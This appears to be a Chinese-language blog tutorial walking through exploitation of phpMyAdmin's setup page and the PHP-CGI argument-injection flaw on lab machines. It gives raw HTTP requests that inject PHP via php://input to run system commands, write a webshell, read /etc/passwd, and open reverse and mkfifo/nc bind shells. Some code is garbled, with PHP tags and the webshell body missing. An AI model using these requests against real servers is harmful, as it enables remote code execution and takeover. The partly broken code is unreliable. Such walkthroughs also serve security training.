手动漏洞挖掘(一)

早期phpMyAdmin服务器的一个漏洞

php服务器默认安装如果setup不禁用掉的话,可以不通过登陆账号直接进入到里面进行配置

http://192.168.133.132/phpMyAdmin/setup/

手动漏洞挖掘(一)_第1张图片

通过post方法,修改PHP主配置文件,就可以执行命令行对服务器进行操作,php语言中passthru函数可以执行操作系统的指令

1

http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 通过phpMyAdmin修改.ini主配置文件

1

POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

Host: 192.168.20.10

Content-Length: 34




passthru('ls');

die();

?>

打开burpsuite,在repeater中执行以上的代码,Go

手动漏洞挖掘(一)_第2张图片

就可以在右侧返回的信息中看到执行的结果

只要在passthru()方法中添加想要执行的命令

甚至可以写文件,这样我们就可以在目标服务器中提交木马等操作了。

一枚简单的木马

利用的是位于phpMyAdmin/setup下的漏洞

1

POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

Host: 192.168.20.10

Content-Length: 100




passthru('echo "" > /var/www/2.php');

die();

?>

打开burpsuite,在repeater中执行以上的代码,Go

passthru('cat /var/www/2.php');

查看刚才写的文件,返回发现写成功了

手动漏洞挖掘(一)_第3张图片

打开l浏览器输入

http://192.168.133.132/2.php?cmd=id

手动漏洞挖掘(一)_第4张图片

http://192.168.133.132/2.php?cmd=pwd

http://192.168.133.132/2.php?cmd=ls

http://192.168.133.132/2.php?cmd=cat /etc/passwd

手动漏洞挖掘(一)_第5张图片

你会发现这样操作非常像在shell中执行,只要在变量"?cmd="后面添加命令即可

php反弹shell

它在kali的位置

/usr/share/webshells/php/php-reverse-shell.php

修改一下,把IP换成本机的IP地址

手动漏洞挖掘(一)_第6张图片

然后将所有内容复制下来复制到在burpsuite的body中

手动漏洞挖掘(一)_第7张图片

先不发送请求,打开一个终端输入 nc -nvvlp 1234 侦听这个端口号,再发送请求

手动漏洞挖掘(一)_第8张图片

于是就建立了连接,就可以在终端上操作php的服务器了,和在自己终端上操作差不多

有时候会发现有些命令执行不了,比如ifconfig,这是因为现在的用户权限下,有些命令的环境变量没有设置好,我们可以查找到这个命令的位置,然后执行它

cd /sbin

./ifconfg

就能执行了

手动漏洞挖掘(一)_第9张图片

又一枚木马

这个利用ubuntu/debian默认安装的php5-cgi的漏洞

可直接访问/cgi-bin/php5和/cgi-bin/php ,这两个目录位于操作系统的根目录下

,而不是在web的根目录下

,它们不会在网页页面上显示,所以这些目录用扫描工具是爬网爬不出来的,但是他们是可以被访问的。

打开burpsuite,输入

1

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

Host: 123

Content-Length: 50




echo system('cat /etc/passwd');

die();

?>

1

2注:%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

这一串是经过编码之后的内容,对它解码会发现是这些内容,为为什么要这样编码呢?是因为php服务器进行了一些过滤机制,如果用明文还执行不成功。

手动漏洞挖掘(一)_第10张图片

1

一定要有host,后面的内容可以随便填
Host: 123

go

手动漏洞挖掘(一)_第11张图片

在服务器上打开一个侦听端口

echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 444| > /tmp/pipe');

手动漏洞挖掘(一)_第12张图片

php服务器开启一个端口等待连接

然后打开一个终端用nc连接,就拿到shell了

你可能感兴趣的:(手动漏洞挖掘(一))